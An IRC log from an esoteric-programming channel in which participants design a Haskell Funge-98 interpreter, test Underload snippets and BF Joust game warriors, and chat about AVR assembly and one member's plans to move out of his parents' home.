17:50:41 <iconmaster> *make
17:50:41 <elliott> iconmaster: nothx
17:50:43 <elliott> :P
17:50:46 <elliott> <3 haskell
17:50:54 <elliott> Vorpal: yeah, but i want to be the first interp to support N-dimensional programs _efficiently_
17:51:02 <elliott> Vorpal: as opposed to, say, Language::Befunge, which does it VERY SLOWLY
17:51:06 <elliott> or whatever it's called now
17:51:16 <Vorpal> elliott, Language::Befunge did *everything* very slowly
17:51:22 <elliott> indeed
17:51:48 <Vorpal> elliott, so it was *relatively* efficient at n-dimensional!
17:52:46 <oerjan> ^ul ((~a(~a~*((z)S)~*^)*~^)~^)((~a(~a~*((y)S)~*^)*~^)~^)((~a((a(:^)*a(~a)~(*~^)**(~!)~(~^)**^):^)*~^)~^)((~a(~a~*((x)S)~*^)*~^)~^)(~a(~)~(~^)**a(a)~(*)**~*)(::**)^^(!)~^
17:52:46 <fungot> x ...out of stack!
17:53:27 <oerjan> i simply cannot get this right on the first try, can i
17:53:39 * elliott defines cells first
17:53:42 <elliott> as Int32s
17:54:06 <Phantom_Hoover> Wait, efficient and in Haskell?
17:54:20 <elliott> Phantom_Hoover: YES
17:54:24 <elliott> Haskell code can be pretty fast.
17:54:28 <Phantom_Hoover> I KNOW
17:54:35 <elliott> Vorpal: Fingerprint proposal: LAZY
17:54:44 <Vorpal> elliott, how would it work
17:54:54 <elliott> Vorpal: Makes the entire evaluation lazy.
17:55:04 <Vorpal> elliott, yes okay but /how/
17:55:07 <elliott> Vorpal: <thing that loops forever>30 30p would evaluate instantly.
17:55:10 <elliott> 30 30g would then do the same.
17:55:14 <elliott> Only when you tried to output the result, would it hang.
17:55:19 <elliott> This applies to every single operation.
17:55:22 <elliott> Including those in other fingerprints.
17:55:22 <Vorpal> elliott, how could you tell that something loops forever
17:55:25 <elliott> Vorpal: ...
17:55:28 <elliott> Phantom_Hoover: Shoot Vorpal.
17:55:38 * Phantom_Hoover shoots Vorpal.
17:55:41 <Vorpal> oh wait misread you
17:55:52 <elliott> ah, shooting makes Vorpal understand things
17:55:56 <elliott> noted
17:56:02 <Vorpal> no it happened just before
17:56:09 <Vorpal> elliott, anyway, how could you ensure that thread interaction would work here
17:56:13 <elliott> ah. it clearly goes back in time and makes you understand.
17:56:15 <Phantom_Hoover> My bullets are made of understandium.
17:56:18 <elliott> Vorpal: difficulty. or do i mean badly?
17:56:24 <elliott> *difficultly.
17:56:25 <Phantom_Hoover> *retrounderstandium
17:56:50 <elliott> hmm
17:56:52 -!- impomatic has joined.
17:56:52 <Vorpal> Phantom_Hoover, you mean understoodium
17:56:53 <oerjan> ^ul ((~a(~a~*((y)S)~*^)*~^)~^)((~a((a(:^)*a(~a)~(*~^)**(~!)~(~^)**^):^)*~^)~^)(~a(~)~(~^)**a(a)~(*)**~*)^(!)~^
17:56:54 <fungot> ...out of stack!
17:57:00 <elliott> is there a better name for the Cell^D where D=dimensions pairs than "Vector"?
17:57:06 -!- asiekierka has quit (Read error: Operation timed out).
17:57:07 <elliott> what do ccbi/cfunge call it
17:57:19 <Vorpal> elliott, cell as in a value?
17:57:25 <Vorpal> or cell as in x,y,z,value?
17:57:35 <elliott> Vorpal: as in (x,y)
17:57:37 <elliott> or (x,y,z)
17:57:38 <quintopia> tuple
17:57:41 <elliott> Vorpal: coords and velocity basically
17:57:43 <elliott> quintopia: fail
17:57:43 <Vorpal> elliott, funge_vector
17:57:48 <elliott> so, Vec then :P
17:57:54 <Vorpal> elliott, no idea about ccbi here
17:57:54 <elliott> or Vector
17:57:55 <elliott> I GUESS
17:58:04 <quintopia> elliott: it is an n-tuple. why fail?
17:58:09 <elliott> quintopia: because!
17:58:21 <elliott> now i get to define the fungespace
17:58:22 <elliott> oh joy
17:58:39 <Vorpal> elliott, wait a second. Didn't you start on this about a year ago
17:58:41 <Vorpal> last time
17:58:45 <Vorpal> then gave it up
17:58:47 <elliott> Vorpal: yes
17:58:49 <impomatic> Any idea how to create a programming game based on Underload?
17:58:53 <Vorpal> elliott, why not reuse your code!
17:58:55 <elliott> let's see if I can get further by doing things wildly inefficiently
17:59:02 <elliott> Vorpal: that's lost to the mists of time. also, i never implemented anything.
17:59:04 <iconmaster> I haz an esolang idea. A language where each single character is a command, and it uses up the ENTIRE Unicode set!
17:59:08 <Vorpal> elliott, ah
17:59:26 <Vorpal> iconmaster, s/haz/has/
17:59:38 <oerjan> ^ul (f)(aSaSc)(a(:^)*a(~a)~(*~^)**(~!)~(~^)**^):^
17:59:38 <fungot> ...out of stack!
17:59:48 <iconmaster> It would make insanly tiny code, BUT the interpreter would be insanely large!
17:59:49 <oerjan> ho hum
17:59:52 <Vorpal> iconmaster, also your idea sounds like unefunge with a huge instruction set
18:00:01 <iconmaster> yep
18:00:14 <Vorpal> iconmaster, also tiny in what measurement
18:00:15 <quintopia> iconmaster: J would be a good place to start, or golfscript
18:00:29 <iconmaster> ok, ill do some research.
18:00:32 <Vorpal> iconmaster, in bytes I presume?
18:00:32 * elliott decides to call Int32s "values" instead
18:00:41 <elliott> J wouldn't be a good place to start.
18:00:46 <Vorpal> iconmaster, if so take a look at some compact RISC assemblers
18:00:49 <Vorpal> elliott, why 32
18:00:51 <quintopia> in fact, "golfierscript" might a good name if your operations are useful enough
18:00:59 * iconmaster is wondering if control codes would make good commands
18:00:59 <elliott> Vorpal: because that's the "standard". also, It'll Be Parameterisable Later!
18:01:02 <Vorpal> elliott, if you can't support 64 then you can't even compete with cfunge
18:01:08 <elliott> oh shut up.
18:01:15 <elliott> i'm not going to feature-creep it before i've written a single function, dude
18:01:21 <Vorpal> elliott, XD
18:01:36 <elliott> data FungeSpace = FungeSpace (Map Vector Value) Vector Vector
18:01:38 <elliott> do I need anything more?
18:01:42 <elliott> the two Vectors are minimum and maximum bounds
18:01:46 <Vorpal> elliott, vector vector?
18:01:47 <Vorpal> ah
18:02:05 <elliott> hmm, maybe I should use "IntMap Value (IntMap Value)"
18:02:12 <elliott> since that uses BIG-ENDIAN PATRICIA TREES
18:02:21 <Vorpal> elliott, are they good?
18:02:27 <elliott> oh, but it uses Int only, not Int32.
18:02:30 <elliott> so it could magically be 64-bit.
18:02:38 <elliott> Vorpal: well supposedly it's a lot better for int keys:
18:02:38 <elliott> The implementation is based on big-endian patricia trees. This data structure performs especially well on binary operations like union and intersection. However, my benchmarks show that it is also (much) faster on insertions and deletions when compared to a generic size-balanced map implementation (see Data.Map).
18:02:47 <elliott> and Okasaki is behind it.
18:02:51 <Vorpal> elliott, but cfunge can do 32 bit with a compile time switch!
18:02:51 <elliott> so it's probably good.
18:03:32 <elliott> Vorpal: but anyway, any more elements of fungespace I need to plan for do you think
18:03:35 <oerjan> ^ul (f)(c)(a(:^)*a(~a)~(*~^)**(~!)~(~^)**aSaS^):^
18:03:35 <fungot> (~!~a((a(:^)*a(~a)~(*~^)**(~!)~(~^)**aSaS^):^)*~^~^)(c) ...bad insn!
18:03:45 <oerjan> ^ul (f)(c)(a(:^)*a(~a)~(*~^)**(~!)~(~^)**aSaSaS^):^
18:03:45 <fungot> (~!~a((a(:^)*a(~a)~(*~^)**(~!)~(~^)**aSaSaS^):^)*~^~^)(c)(f) ...out of stack!
18:04:21 <Vorpal> elliott, well hm. arbitrary tuples! (I have some plans for efunge with "rich values" in funge space for stuff like SOCK)
18:04:25 <Vorpal> (it would be interesting)
18:04:27 <elliott> Vorpal: i don't mean expansion plans.
18:04:30 <elliott> I mean
18:04:32 <elliott> things I need in the structure.
18:04:35 <Deewiant> elliott: This is like the third time you've written 'data FungeSpace = something' and asked if it's sufficient, and likely also the third time you'll end up writing at most a few functions to support it before giving up
18:04:42 <Vorpal> elliott, no, not really.
18:04:54 <elliott> Deewiant: DON'T TELL THEM MY SECRET
18:04:59 <Vorpal> Deewiant, third? I thought it was second?
18:05:03 <elliott> yeah i don't think it's the third
18:05:07 <elliott> therefore Deewiant is a stinky filthy liar
18:05:10 <elliott> and we should kill him
18:05:13 <Vorpal> elliott, btw I always done stack before funge space
18:05:25 <elliott> i like to get types down before (not) doing stuff
18:05:38 <Deewiant> The stack is about three lines in Haskell if you don't care about efficiency
18:05:46 <Vorpal> Deewiant, hah yeah
18:06:21 <elliott> type Stack = [Value]
18:06:22 <elliott> type StackStack = [Stack]
18:06:22 <elliott> Done
18:07:24 <oerjan> ^ul ((~a(~a~*((z)S)~*^)*~^)~^)((~a(~a~*((y)S)~*^)*~^)~^)((~a((a(:^)*a(~a)~(*~^)**a(~!)~(~^)**^):^)*~^)~^)((~a(~a~*((x)S)~*^)*~^)~^)(~a(~)~(~^)**a(a)~(*)**~*)(::**)^^(!)~^
18:07:24 <fungot> x
18:07:37 <oerjan> excellent
18:07:39 <elliott> Meh:
18:07:44 <elliott> data FungeSpace = FungeSpace (Map Vector Value)
18:07:46 <elliott> I can expand it later. :P
18:08:47 * elliott briefly considers a FUNGE MONAD
18:08:59 <elliott> I'm now, like, 5 minutes away from giving up.
18:09:04 <elliott> That's, like, three more than Deewiant's expecting.
18:12:20 <oerjan> ^ul ((~a(~a~*((x)S)~*^)*~^)~^)((~a(!!)*~^)~^)((~a(~a~*((y)S)~*^)*~^)~^)((~a(~a~*((z)S)~*^)*~^)~^)(a(~)~(~^)**a(a)~(*)**~*)(::**)^^(!)~^
18:12:20 <fungot> y
18:13:11 <Vorpal> elliott, you are like haskell you know
18:13:17 <elliott> wat
18:13:19 <elliott> lazy?
18:13:21 <Vorpal> elliott, LAZY!
18:13:22 <Vorpal> yes
18:13:40 <elliott> you should be a comedian. a really bad comedian.
18:14:20 * Vorpal has an urge to addquote [To Vorpal] <elliott> you should be a comedian. [...]
18:14:43 <elliott> *[to
18:14:50 <elliott> quotes get formatted how I say, dammit.
18:14:54 -!- zzo38 has joined.
18:15:00 <Vorpal> elliott, why lower case there
18:15:13 <elliott> because.
18:15:19 <Vorpal> nah
18:15:20 <elliott> that's how []s are written in my world.
18:15:37 <elliott> hmm, most of these operations only make sense inside THE FUNGE MONAD
18:15:50 <elliott> which I guess is just a state monad
18:15:52 <Vorpal> elliott, I prefer them all upper case becasue that is how df does it!
18:15:59 <elliott> O KAY
18:16:02 <elliott> (see wut i did thar)
18:16:26 <Vorpal> elliott, http://df.magmawiki.com/index.php/File:Carp_escape.jpg
18:17:21 <elliott> data FungeState =
18:17:22 <elliott> FungeState { stackStack :: StackStack
18:17:22 <elliott> , fungeSpace :: FungeSpace
18:17:22 <elliott> , somethingGoesHere :: someType }
18:17:23 <elliott> valid Haskell!
18:17:26 <Vorpal> elliott, http://df.magmawiki.com/index.php/File:Carp_escape.jpg
18:17:32 <elliott> http://df.magmawiki.com/index.php/File:Carp_escape.jpg
18:17:39 <Vorpal> elliott, you finally saw it
18:17:41 <elliott> http://df.magmawiki.com/index.php/File:Carp_escape.jpg
18:17:42 <elliott> http://df.magmawiki.com/index.php/File:Carp_escape.jpg
18:17:44 <elliott> i saw it all the time
18:17:46 <elliott> i was busy pasting
18:17:49 <Vorpal> elliott, you never replied yeah
18:18:36 <elliott> Not in scope: type variable `someType'
18:18:36 <elliott> oops
18:18:38 <elliott> needs to be
18:18:41 <elliott> forall someType. someType
18:18:41 <elliott> :D
18:20:10 <elliott> *Shiro.Types> emptyFungeSpace !@ (42,42)
18:20:10 <elliott> 32
18:20:11 <elliott> woo
18:22:22 <elliott> oerjan: what module is `on` in again?
18:22:24 <elliott> no hoogle :x
18:22:30 <elliott> ok i'll google.
18:22:33 <elliott> for hoogle.
18:22:38 <elliott> Data.Function.
18:22:49 <Vorpal> elliott, did you know that the df author is a mathematician?
18:22:56 <elliott> yes
18:23:22 <Vorpal> elliott, where is lambdabot?
18:24:06 <Sgeo__> My dad's threatening to take away the mifi he gave me if I don't type stuff up for my step-mom
18:24:21 <elliott> *Shiro.Types> bounds (FungeSpace (Map.fromList [((42,42),3),((-2,40),9)]))
18:24:21 <elliott> ((-2,40),(42,42))
18:24:22 <elliott> yay!
18:24:22 <elliott> Vorpal: down
18:24:27 <Vorpal> Sgeo__, MOVE OUT FROM YOUR PARENTS. YOU ARE OLD ENOUGH!
18:24:38 <elliott> Vorpal: we've tried.
18:24:40 <elliott> he won't listen.
18:25:11 <elliott> no point saying it over and over for the next twenty years
18:25:46 <elliott> In this document, short stacks are generally notated left to right to mean bottom to top. The leftmost values listed in the documentation are the bottommost and the first to be pushed onto the stack. Long stacks are notated top to bottom, to mean precisely that, top to bottom..
18:25:48 <elliott> i was afraid that was going to go:
18:25:52 <elliott> "Long stacks are notated right to left, "
18:25:56 <elliott> :D
18:26:01 <elliott> *,"
18:26:07 <Sgeo__> I'd need to get a job, and possibly not attend school, or not attend as much
18:26:10 <elliott> YOU JUST HAVE TO DECIDE WHETHER IT'S LONG ENOUGH TO FIGURE OUT WHICH WAY TO READ IT
18:26:25 * Lymia_ claps
18:26:27 <Lymia_> Yay!
18:26:30 -!- Lymia_ has changed nick to Lymia.
18:26:30 -!- Lymia has quit (Changing host).
18:26:30 -!- Lymia has joined.
18:26:35 <Lymia> By BF Joust evolver works.
18:26:35 <Lymia> :s
18:26:39 <Lymia> Now to see how well it works.
18:26:41 <elliott> :D
18:26:41 <quintopia> Sgeo__: type stuff up for your step-mom and keep the rage to yourself
18:26:43 <elliott> awesome!
18:26:48 <Lymia> I inputted the top 10 warriors on the hill.
18:26:51 <Lymia> Let's see what comes out.
18:26:59 <elliott> quintopia: and continue to take the abuse and idiocy he gets from his father?
18:27:17 <quintopia> elliott: yes. life's a bitch.
18:27:29 <elliott> quintopia: why is this preferable to sgeo moving out like he should have anyway
18:27:47 <Lymia> !bfjoust first_test >>-(>++++++->---+)*1>+>->.->+>[-[<-()*24[--]]+>[+()*22[++]]->]+
18:27:59 <Phantom_Hoover> <Vorpal> Sgeo__, MOVE OUT FROM YOUR PARENTS. YOU ARE OLD ENOUGH!
18:28:05 <Phantom_Hoover> VORPAL LOOKS DOWN ON YOU, SGEO
18:28:12 <elliott> me too!
18:28:19 <elliott> for once Vorpal said the right thing :P
18:28:22 <quintopia> elliott: he does not have the resources to live on his own at the moment. he just said as much.
18:28:29 <EgoBot> Score for Lymia_first_test: 0.0
18:28:45 <Lymia> :/
18:28:45 <elliott> quintopia: I don't think you realise just how bad the situation with sgeo's parents are
18:28:51 <elliott> *is
18:29:05 <Lymia> Is ()*blah illegal?
18:29:17 <elliott> Lymia: might be, if it is that's a bug
18:29:18 <elliott> Gregor!
18:29:31 <Gregor> I don't remember >:P
18:30:02 <elliott> Lymia: Just filter it out, it's pointless anyway :P
18:30:07 <elliott> Also transform (x)*1 into x
18:30:22 <elliott> at every step, probably
18:31:05 <quintopia> that's cheating. the algorithm should find that optimization itself
18:31:16 <elliott> quintopia: no, it's working around a bug in Gregor's code
18:31:21 <elliott> ok the latter thing is cheating, but so what
18:31:30 <elliott> bounds :: FungeSpace -> (Vector,Vector)
18:31:30 <elliott> bounds (FungeSpace m) =
18:31:30 <elliott> let keys = Map.keys m
18:31:30 <elliott> xs = map fst keys
18:31:30 <elliott> ys = map snd keys
18:31:30 <elliott> in ((minimum xs, minimum ys),
18:31:30 * copumpkin is writing an awesome solver of things
18:31:32 <elliott> (maximum xs, maximum ys))
18:31:35 <elliott> Vorpal: YOURS MAY BE EFFICIENT, BUT MINE IS ELEGANT
18:31:37 <elliott> (pointfree patches welcome)
18:31:38 <Phantom_Hoover> copumpkin, what kind of things?
18:31:48 <Phantom_Hoover> elliott, are you talking about cfunge?
18:31:54 <elliott> Yes.
18:31:57 <elliott> And... SHIRO
18:32:08 <Phantom_Hoover> Why Shiro?
18:32:25 <impomatic> Anyone experienced with ARM assembly language?
18:32:31 <elliott> Phantom_Hoover: Because it's a fungus-related name and it's short and nice enough.
18:32:57 <Vorpal> impomatic, I was about to say "yes" but then realised I had misread it as "AVR". So no
18:32:58 <Lymia> !bfjoust test_0 ()*1>[[-]>]
18:32:58 <Phantom_Hoover> That's not fungus-related at all.
18:33:03 <EgoBot> Score for Lymia_test_0: 5.1
18:33:04 <Lymia> !bfjoust test_1 >[[-]>]
18:33:20 <EgoBot> Score for Lymia_test_1: 5.1
18:33:42 <Phantom_Hoover> Oh, wait, it is.
18:33:52 <impomatic> Vorpal: I have an Arduino here I haven't experimented much with. I never managed to find a decent assembly tutorial.
18:34:28 <Lymia> !bfjoust evo_0 (+>>)*2>(>([-[+]]+>)*3[-]-)*33
18:34:32 <Vorpal> impomatic, well that is ARM and I can't help you there
18:34:32 <EgoBot> Score for Lymia_evo_0: 4.2
18:34:37 <elliott> Maybe I'll call it 城. You know, for short.
18:34:41 <elliott> Or more sanely, 白 :P
18:34:46 <Vorpal> impomatic, or?
18:34:58 <Lymia> !bfjoust evo_1 (+>>)*2>(>[(-)*20[+]]+>[[-]]-)*32
18:35:03 <EgoBot> Score for Lymia_evo_1: 14.7
18:35:07 <Lymia> ...
18:35:14 <Lymia> I don't have the selection step backwards, do I.
18:35:21 <Vorpal> impomatic, oh it is AVR
18:35:25 <Vorpal> I thought it was ARM
18:35:26 <Vorpal> huh
18:35:26 <impomatic> Vorpal: Arduino = AVR :-) I'm just about to buy an ARM board though
18:35:36 <Vorpal> impomatic, AVR is quite nice
18:35:42 <Vorpal> impomatic, very sane instruction set
18:35:51 <Vorpal> impomatic, and of course GCC supports it if you want to do C
18:36:10 <Vorpal> impomatic, which AVR is it?
18:36:33 <impomatic> Vorpal: can you recommend a tutorial on the assembly. One that doesn't treat me like I've never programmed before.
18:36:57 <Vorpal> impomatic, not really. I used the reference guide for the ATmega32A that I used
18:37:08 <Vorpal> impomatic, I don't know which model you have
18:37:11 <impomatic> Vorpal: ATmega168
18:37:20 <Vorpal> impomatic, no clue about that model even
18:37:52 <Vorpal> impomatic, we have a lot of evaluation boards with ATmega32 at the university I study at. I found it quite easy to learn how to use them
18:38:21 <elliott> copumpkin: putFS k v = modify $ \fs@FungeSpace{fungeSpace} -> fs{fungeSpace=insertFS k v fungeSpace})
18:38:22 <elliott> copumpkin: :(
18:39:15 <elliott> putFS k v = modify $ \fs -> fs{fungeSpace=insertFS k v (fungeSpace fs)}
18:39:16 <elliott> slightly better
18:39:28 <Lymia> !bfjoust evo_0 (+>>)*2>(>([-[+]]+>)*3[-]-)*33
18:39:32 <EgoBot> Score for Lymia_evo_0: 5.5
18:39:37 <Vorpal> impomatic, looks like ATmega32A is beefier when checking specs
18:39:49 <Lymia> !bfjoust evo_1 (+>>)*2>(>[(-)*20[+]]+>[[-]]-)*32
18:39:50 <Vorpal> http://www.atmel.com/dyn/products/product_card.asp?part_id=4404&category_id=163&family_id=607&subfamily_id=760
18:39:51 <Vorpal> http://www.atmel.com/dyn/products/Product_card.asp?part_id=3303
18:39:52 <EgoBot> Score for Lymia_evo_1: 12.7
18:39:54 <Lymia> OK.
18:39:58 <Lymia> My evolver just sucks.
18:39:59 <Lymia> =p
18:40:14 <Vorpal> impomatic, used the AVR Dragon board with JTAG stuff to program the ATmega32A
18:41:13 <Vorpal> well your has higher clock speed
18:42:01 * Sgeo__ googles how to move out
18:42:03 <elliott> Lymia: Aww.
18:42:09 <elliott> Lymia: I suggest removing the ()* and ()% code.
18:42:10 * iconmaster came up with a name for my lang idea: Onecode
18:42:12 <elliott> Lymia: I bet it will do better.
18:42:20 <Lymia> ?
18:42:25 <Lymia> elliott, maybe.
18:42:25 <impomatic> The Arduino has a bootloader so it can be programmed over USB. I've programmed it a bit in C, but that's about it. (Flashing Hello World in Morse Code, etc!)
18:42:26 <elliott> Lymia: Because it'll have a simpler view of the program.
18:42:36 <elliott> Lymia: Make sure to expand all the programs on the hill first (or do it in your loading stage).
18:42:41 <Lymia> =p
18:42:50 <Vorpal> impomatic, ah
18:42:54 <Deewiant> elliott:
18:42:56 <Deewiant> bounds (FungeSpace m) = (both minimum &&& both maximum) . unzip . Map.keys $ m
18:42:56 <Deewiant> where both = join (***)
18:43:14 <elliott> Deewiant: That's actually quite elegant.
18:43:16 <elliott> Saved for later.
18:43:28 <elliott> How far did funktio's HsFunge get, btw?
18:43:40 <Vorpal> impomatic, well the RISC code of AVR was trivial to learn I found. But I coded both PIC12F629 and H8/300 before
18:43:41 <Deewiant> All the way through.
18:43:52 <Lymia> !bfjoust evo_1 >+>->+>->+>->+>---<++<--<++<>-(<++<++(-+)*16>([]>)*17>)*5>(-)*16>>([]-)*15>([].)*17>([]+.-)*16(>(.><[]-)*21[.-])*21
18:43:58 <EgoBot> Score for Lymia_evo_1: 0.2
18:44:00 * elliott considers renaming getFS and putFS to peek and poke...
18:44:06 <elliott> But then they don't mirror the Funge instructions' names. :(
18:44:09 <Lymia> !bfjoust evo_2 >+>->+><>+>->+>---<++<--<++<>-(<++<++(-.+)*17>([])*16>)*5>(-)*16>(+)*15>(-)*15>(.)*15>([]+.-)*17(>.[-+])*21
18:44:16 <Vorpal> impomatic, if you are mainly used to x86 it might help to remember that it is a load/store arch
18:44:18 <EgoBot> Score for Lymia_evo_2: 0.0
18:44:21 <Lymia> :v
18:44:25 <Lymia> Yeah.
18:44:31 <Lymia> I guess I'll check if expanding loops helps.
18:44:38 <elliott> Hmm, an empty Funge stack is an infinite list of zeroes, right?
18:44:56 <elliott> Lymia: Yeah, I think it isn't "clever" enough to understand ()* properly. To use really bad terminology.
18:45:03 <Deewiant> Quite. But you need to be able to give the length of the nonempty bit.
18:45:16 <Vorpal> elliott, yeah what Deewiant said faster than I could write it
18:45:18 <Deewiant> (So you can't just store it as an infinite [Int])
18:45:24 <Lymia> elliott, I'm running the mutation function used on the whole thing on each loop, or repeat segment.
18:45:27 <elliott> Deewiant: Right.
18:45:32 <elliott> Deewiant: Just checking that there's always a TOS and SOS.
18:45:34 <Deewiant> (But ([Int],Int) might be sufficient.)
18:45:39 <elliott> Lymia: You remember to remove the previous warriors of this generation before trying a new one, right?
18:45:44 <elliott> Otherwise they'll just end up fighting each other.
18:45:47 <Lymia> ?
18:45:51 <elliott> Lymia: ?
18:45:58 <Vorpal> Deewiant, why not just [Int] and handle empty stack separately?
18:46:09 <Deewiant> If he doesn't want to. :-P
18:46:12 <Lymia> elliott, the way I have it coded, the previous generation becomes garbage collection fodder.
18:46:13 <Vorpal> ah
18:46:27 <elliott> Lymia: I mean -
18:46:39 <elliott> Lymia: If the current generation is {a,b,c,d}
18:46:46 <elliott> Then do you remember to remove a from the hill before trying b?
18:46:54 <elliott> Otherwise, your program could decide that d is really good because it beat a, b and c.
18:47:15 <Lymia> I'm doing a matchup of each bot agienst each bot at every step.
18:47:18 <elliott> Deewiant: ([Int], Int) is I think no more convenient than a finite list, because you have to keep track of the Int all the time.
18:47:22 <elliott> Lymia: OK.
18:47:24 <Sgeo__> I'm fantasizing about finding a job, leaving this house... but in all liklihood nothing will change :(
18:47:31 <elliott> Lymia: Just don't battle multiple individuals from the same generation.
18:47:45 <Lymia> ?
18:47:54 <elliott> >_<
18:48:01 <elliott> What am I saying that you don't understand?
18:48:17 <Lymia> <elliott> Lymia: Just don't battle multiple individuals from the same generation.
18:48:23 <Lymia> What do you suggest instead?
18:48:24 <Lymia> >.<
18:48:32 <Lymia> Battle agienst the previous generation instead?
18:48:39 <elliott> Lymia: Yes, obviously.
18:48:44 <Lymia> Eh...
18:48:47 <Lymia> That might actually be a good idea.
18:48:47 <Lymia> >.<
18:48:48 <elliott> Lymia: Otherwise you can have ten really shit contestants, and one of them wins because it beats the others.
18:48:58 <elliott> Despite the fact that it will lose against anything good.
18:49:45 <Vorpal> elliott, I would suggest battle against current and previous
18:50:07 <Lymia> Urg.
18:50:10 <fizzie> If this is generic genetic-algo talk, often you can just propagate few best people of a previous generation unchanged into the new, and then do the ranking there.
18:50:24 <Lymia> That'd be harder to implement
18:50:25 <Deewiant> If you battle the current as well then you get a dependency against what order you generated them in, which seems a bit messy.
18:50:27 <Lymia> ;-;
18:50:42 <Deewiant> Well, unless you pre-generate them all, of course.
18:50:45 <Sgeo__> "Do not leave your home on a bad note if at all possible,"
18:50:47 <Sgeo__> HAHAHAHAHA
18:51:14 <impomatic> !bfjoust spookygoth >(-)*9>(+)*9(>--->+++)*3(>([+)*6[(-)*7([-)*5[(-)*122[-(])*14 >([+)*6[(-)*7([-)*5[(-)*122[-(])*14)*10>([-)*6[(+)*7([+)*5[(+)*122[+(])*14[-]
18:51:25 <Lymia> Actually.
18:51:28 <Lymia> elliott.
18:51:36 <Lymia> I could just concat the list of the old programs with the new ones.
18:51:38 <Lymia> And select from that.
18:51:40 <EgoBot> Score for impomatic_spookygoth: 32.8
18:51:53 <elliott> Lymia: Sure.
18:52:02 <elliott> That would be reasonable enough.
18:52:20 <impomatic> !bfjoust spookygoth >(-)*9>(+)*9(>------>)*3(>([+)*6[(-)*7([-)*5[(-)*122[-(])*14>([+)*6[(-)*7([-)*5[(-)*122[-(])*14)*10>([-)*6[(+)*7([+)*5[(+)*122[+(])*14[-]
18:52:47 <EgoBot> Score for impomatic_spookygoth: 32.1
18:53:43 <quintopia> is the ()* notation just to make the programs short enough to fit in a privmsg? was it dreamed up for no other reason?
18:53:46 <Deewiant> impomatic: Stop beating monorail.
18:54:23 <elliott> quintopia: Efficiency.
18:54:26 <elliott> (Of interpretation.)
18:54:55 <quintopia> oh is it interpreted directly?
18:55:08 * Lymia runs and prays
18:55:10 <elliott> http://sprunge.us/WhWe <-- in which Haskell records drive me to drink, suicide, despair.
18:55:23 <Vorpal> elliott, I now know that the df wiki uses postgre (it started erroring!)
18:55:30 <Sgeo__> Vorpal, hypothetically, would I e able to ask you for advice?
18:55:30 <elliott> Vorpal: SHUT UP, I AM DESPAIRING
18:55:40 <Sgeo__> s/ e //
18:55:47 <Sgeo__> erm, *be
18:55:47 <Vorpal> Sgeo__, it all depends on what it is about
18:56:00 -!- Mathnerd314 has joined.
18:56:07 <Vorpal> Sgeo__, not if it is about vitamins in oranges.
18:56:08 <impomatic> !bfjoust spookygoth (>(+)*7)*2(>+++>+++)*3(>([+)*6[(-)*7([-)*5[(-)*122[-(])*14>([+)*6[(-)*7([-)*5[(-)*122[-(])*14)*10>([-)*6[(+)*7([+)*5[(+)*122[+(])*14[-]
18:56:14 <EgoBot> Score for impomatic_spookygoth: 32.4
18:56:15 <elliott> Sgeo__: SHUT UP ABOUT KT-AT
18:56:23 <elliott> (Going by what Vorpal said.)
18:56:25 <Sgeo__> LOLOL
18:56:37 <Vorpal> elliott, I don't know yet if it is about that
18:56:45 <Sgeo__> Vorpal, it was about moving out.
18:56:59 <Vorpal> Sgeo__, well okay. what do you wonder about it?
18:57:28 <elliott> Hey Deewiant, rewrite my code. (Your rewrite of bounds was your ticket to a lifetime of rewriting code involving Haskell vectors. It's punishment.)
18:57:38 <Sgeo__> Nothing yet, I think. Maybe some encouragement. Perhaps things like whether I should look for and apply for a job first, or see that places to live exist first
18:57:58 * iconmaster notes that the average Unicode chart would fill a 500-page book and then some.
18:58:06 <Vorpal> Sgeo__, well I don't know much about US. You might have more luck with pikhq and Gregor there
18:58:33 <elliott> Sgeo__: Do things I say count as encouragement, or am I too hilariously abrasive?
18:58:41 <elliott> (Non-hilariously abrasive is not a valid answer.)
18:58:50 <Vorpal> Sgeo__, personally I haven't yet moved out because I haven't had any need. I will likely during next summer (since I plan to continue studies at a different university then)
18:59:24 <quintopia> i'm too much of a pessimist. you definitely need a job first, cuz...there aren't many jobs
18:59:38 <Vorpal> well that might be US
18:59:47 <elliott> Sgeo says he likes drudgery maintenance programming, and he likes C#.
18:59:51 <Sgeo__> quintopia, I wasn't saying I'd move out first then look for job. Just saying whether I should research jobs in isolation of housing requirements
18:59:54 <elliott> can't be too hard to get a job like that :P
19:00:08 <Vorpal> looking in Sweden I'm qualified for most programming jobs and there is a *huge* lack of workers here for that
19:00:22 <Vorpal> meaning I could pretty much pick what I wanted
19:00:24 <Lymia> !bfjoust evo_0 >[(+)*17>(>++++++>---+--)*1>+>]->->+(>[-(+)*22[-]]+>[+(-)*21[+]]->+)*21
19:00:28 <EgoBot> Score for Lymia_evo_0: 9.4
19:00:38 <Lymia> !bfjoust evo_1 >[(+)*17>(-)*19(>++++++>------)*1>+>]->->+(>[[-(+)*22[-]]+>[+(-)*21[+]]->]+)*21
19:00:39 <elliott> Lymia: you forgot to remove the () code :P
19:00:42 <EgoBot> Score for Lymia_evo_1: 23.0
19:00:44 <elliott> ooh
19:00:49 <Lymia> elliott, I'll do that later.
19:00:50 <Lymia> =p
19:00:53 <quintopia> sgeo: you need to research them together. you can't have a job you can't live near and you can't afford housing without a high enough salary
19:00:59 <elliott> Lymia: what's 0 vs 1 here? one generation later?
19:01:06 <Lymia> elliott, no.
19:01:11 <Lymia> Last place, vs top place.
19:01:16 <elliott> ah
19:01:19 <elliott> Lymia: how many generations?
19:01:28 <Lymia> 13
19:01:42 <Vorpal> quintopia, in Sweden the situation for computer scientists and computer engineers is pretty much that you can name your pay. There is such a lack of people with the right education here.
19:01:46 <elliott> Lymia: try 100
19:01:56 <elliott> Vorpal: can i come live there?!
19:01:57 <Lymia> =3
19:02:02 <elliott> any haskell job openings?
19:02:07 <Vorpal> elliott, mostly C#
19:02:09 <elliott> :(
19:02:15 <elliott> uhh... any python? :P
19:02:25 <Vorpal> elliott, possibly at universities
19:02:34 <elliott> maybe i'll pass
19:02:37 <Vorpal> elliott, anyway I could survive coding C# if I had to (though not C++)
19:02:48 <Vorpal> elliott, compared to C++... C# is quite sane
19:02:58 <elliott> yeaaaah but no thanks
19:03:07 <elliott> unless i'm paid like a million pounds
19:03:16 <Vorpal> elliott, I doubt you can go *that* far
19:03:17 <elliott> i wonder how to make my accessing code less awful
19:03:23 <elliott> blehhh why do haskell records suck so much
19:03:24 <Sgeo__> elliott, C# is not terrible. It's not great, but not terrible
19:03:27 <elliott> worst part of the language
19:03:35 <Sgeo__> I mean, relative to other mainstream languages
